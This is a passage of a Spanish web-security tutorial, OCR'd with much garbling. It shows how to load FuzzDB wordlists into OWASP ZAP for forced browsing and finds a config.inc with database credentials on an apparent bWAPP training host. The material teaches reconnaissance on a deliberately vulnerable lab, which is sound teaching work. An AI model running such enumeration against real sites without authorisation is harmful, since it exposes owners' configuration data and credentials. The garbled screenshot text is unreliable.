(https://github.com/fuzzdb-project/fuzzdb/tree/master/discovery/predictable-filepaths) para
multitud de tecnologias web; por ejemplo, para CMS (Drupal, Joomla, WordPress, etc.),
archivos de login comunmente utilizados para diversas plataformas, etc.

Si queremos hacer uso de estos diccionarios podemos descargarlos manualmente desde
Github o bien clonar todo el repositorio en local.

:~# git clone https://github.com/fuzzdb-project/fuzzdb
Clonando en 'fuzzdb'...
remote: Enumerating objects: 3868, done.
remote: Total 3868 (delta 0), reused © (delta ©), pack-reused 3868
Recibiendo objetos: 100% (3868/3868), 6.72 MiB | 3.51 MiB/s, listo.
Resolviendo deltas: 1 2152/2152), listo.

:~# cd fuz covery/, ble-filepaths/

fuzzdb ry/pred i hs# 1s -1

root root 4096 ene 29 15:

root root 4096 ene 29 15:

root root 4096 ene 29 15:

root root 4096 ene 29 15:

root root 21260 ene 29 15:

root root 4096 ene 29 15:

root root 4096 ene 29 15:

root root 4096 ene 29 15:

root root 392 ene 29 15:49 proxy-conf.txt

root root 293 ene 29 15:49 Randomfiles.txt

root root 1347 ene 29 15:49 tftp.txt

root root 863 ene 29 :49 UnixDotfiles.txt

root root 4096 ene 29 2 webserve appservers
root root 681 ene 29 fc5785. txt
uz

~/fuzzdb/discovery/predictable-filepatt

Figura 18 Descarga de diccionarios

Posteriormente, si queremos afiadir algunos de estos diccionarios a ZAP, para poder ser
utilizados con la funcionalidad “Navegacion predefinida”, nos dirigiremos al menu
“Herramientas -> Opciones” y posteriormente seleccionaremos el diccionario que
queremos (en la siguiente imagen se ha seleccionado el diccionario raft-large-
directories.txt). Fijese que desde este menlu podemos configurar también si deseamos
incluir la navegacioén de ficheros, las extensiones que deseamos incluir y otros parametros
relacionados con el rendimiento, por ejemplo, el nimero de hilos a utilizar. Si queremos
integrar mas diccionarios repetiremos el mismo proceso.
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@ sitos | + »~ Inicio Rapido | 2% Request & Response | 44 Punto de interrupcion # & | +
[~ Mo Opciones
v £ Contextos dir A X [Wavegacion Predefinida
Contexto predsterminado . -
v @ Sttios Direccién de lamadas de regreso | Namero de hilos (threads) concurrentes por sitio:
Escaneo Activo |
 http://detectportal.firefox.com Eares PN T O QTR S AT S P (e TR ARIEET T e 0
4 GET:success.txt Exchevir paehG 0 20 40 60 80 100 120 140 160 180 200
@ s
Archivo por defecto: raft-large-directories-lowercase.txt -
Agregar archivo para Navegacién Predefinida: T |
|_J Forzar Naveg:
Extensiones de arg Abrir ° l
File extensions O} guscar an: | (@ fiename-dimame-bruteforce |v) | @ | | @ | [ @ | [T
Fail Case String: E
| 3CharExtBrute.txt *| Extensions.Compressed.txt raf
‘CommonWebExtensions.txt Extensions.Mostcommon. txt raf|
Launcl copy_of.txt | Extensions. Skipfish.txt raf
Reglas de la exploracion pasiva E Backup.txt raft-large-directories-lowercase.txt raf
Replacer Extensions.Common.txt __ raft-arge-directories.txt raf J:0| Namero de peticiones:1617 ¢ Exportar
Seleni
st SRS R B se re... Tamano requerido para el cuerpo
Spider(Arana) Obytes
Nombre de archivo: | raft-large-directories.txt 5.152bytes
= 943bytes
Archivos de tipo: | Navegacion Predefinida v 278bytes
WebSockets 60.190bytes
Zest Abnr Cancelar

| Establecer de nuevo a los valores predeterminados de fabrica

T Cancetar T AzEptar

Figura 19 Incorporaciéon de nuevos diccionarios

Una vez afadidos los diccionarios, seleccionaremos el recurso a partir del cual deseamos
descubrir nuevos directorios y, haciendo clic con el boton derecho, seleccionaremos la
opcion de “Directorio de navegacion definido” dentro del menu Atacar. Fijese que en la
ventana inferior apareceran los diccionarios previamente afiadidos y podremos seleccionar

cualquiera de ellos.

** Historia | , Buscar | ¥ Alertas

Sitio:| 192.168.1.166:80 ¥ Lsta|

Marca de tismpo Req
2911120 16:35:38
29/1/20 16:35:38
29/1/20 16:35:38
2911120 16:35:38
2911120 16:35:38
29/1/20 16:35:38
2911120 16:35:39
2911120 16:35:39
29/1/20 16:35:39
29/1/20 16:35:39
2911120 16:35:39
2911120 16:35:39
2911120 16:35:39
29/1/20 16:35:39
2911120 16:35:39
2911120 16:35:39
2911120 16:35:39

Marca de tismpo de R
2911120 16:35:38
29/1/20 16:35:38
29/1/20 16:35:38
291120 16:35:38
2911120 16:35:38
29/1/20 16:35:38
2911120 16:35:39
291120 16:35:39
29/1/20 16:35:39
29/1/20 16:35:39
2911120 16:35:39
291120 16:35:39
29/1/20 16:35:39
29/1/20 16:35:39
2911120 16:35:39
291120 16:35:39
29/1/20 16:35:39

Saida | 4+ Navegacion Predefinida = =

+

[aftiargedirectones.e B 0 1 an Escaneo actuali1| Nimero de peticiones:2008 {* Exportar
—o
Codig | Razin que se requiere para el Tamano requerido para el cus

-166:80/admin/ 200 oK 173bytes 3.160bytes

166:80/images/ 200 0K 172bytes 5.152bytes

166:80/ 302 Found 172bytes Obytes
GET hitp:if192.168.1.166:80(s/ 200 oK 172bytes 1.554bytes
GET http:if192.168.1.166:80/1098/ 200 oK 171bytes 940bytes
GET http://192.168.1.166:80/ 200 oK 171bytes 939bytes
GET http:i192.168.1.166:80 403 Forbidden  161bytes 278bytes
GET http://192.168.1.166:80 200 oK 266bytes 2.394bytes
GET http://192.168.1.166:80 200 oK 172bytes 2.310bytes
GET http//192.168.1.166:80 200 oK 269bytes. 78.601bytes
GET http:if192.168.1.166:80/apps! 200 OK 171bytes 943bytes
GET hitp:if192.168.1.166:80/font 200 oK 172bytes 2.591bytes
GET http://192.168.1.166:80s/jscx 200 o 268bytes. 17.347bytes
GET httpy/192.168.1.166:80 s.bxt 200 oK 253bytes. 310bytes
GET hitp://192.168.1.166:80/x53_sjax_1.js 200 0K 266bytes 2.887bytes
GET hitp:if192.168.1.166:80/cans/ 403 Forbidden  161bytes 278bytes
GET http://192.168.1.166:80/cans/ 403 Fobidden  161bytes 278bytes

Figura 20 Incorporaciéon de nuevos diccionarios

Tal y como se detall6 en el seminario web, el descubrimiento de directorios y ficheros por
medio de la funcionalidad “Navegacion predefinida” es de gran utilidad para identificar
recursos no referenciados. En ocasiones, estos recursos nos permiten acceder a
directorios que, por error o descuido, se han hecho publicos y que ofrecen informacion
sobre la plataforma, tecnologias utilizadas o cualquier otro tipo de datos sensible sobre la
configuracion del servicio web. En la siguiente imagen se muestra uno de los ficheros de
configuracion identificados gracias a uno de los diccionarios; el fichero “config.inc” situado
en el directorio raiz. Fijese que el mismo incluye credenciales de acceso a cierta base de

datos.
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» L] documents
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» L fonts
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£ GETis
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v
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» [1login.php

[ /* GETdogs
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DWAPP, or  buggy web spplication, is a free and open source deliberately insecurs web spplication

It helps security enthusiasts, developers and students to discover and to prevent web vulnerabilities.
DWAPP covers all major known veb vulnerabilities, including all risks fron the OWASP Top 18 project!
It is for security-testing and educational purposes only.

Enjay!

Halik resellen
Twitter: @ IT

bWAPP is Licensed under a Creative Comeons 18

@

License (hetp:, g/l1censas
ALL rights reserved.

o

// Comnection settings
gserver = *localhost';
fusernane < *alice’
§password - Lovezombies®;
§database - "DNAPP_BAK'

.0/). Copyright © 2014 MNE BVBA.

para el cuerpo

Figura 21 Identificacion del fichero de configuracion “config.inc”
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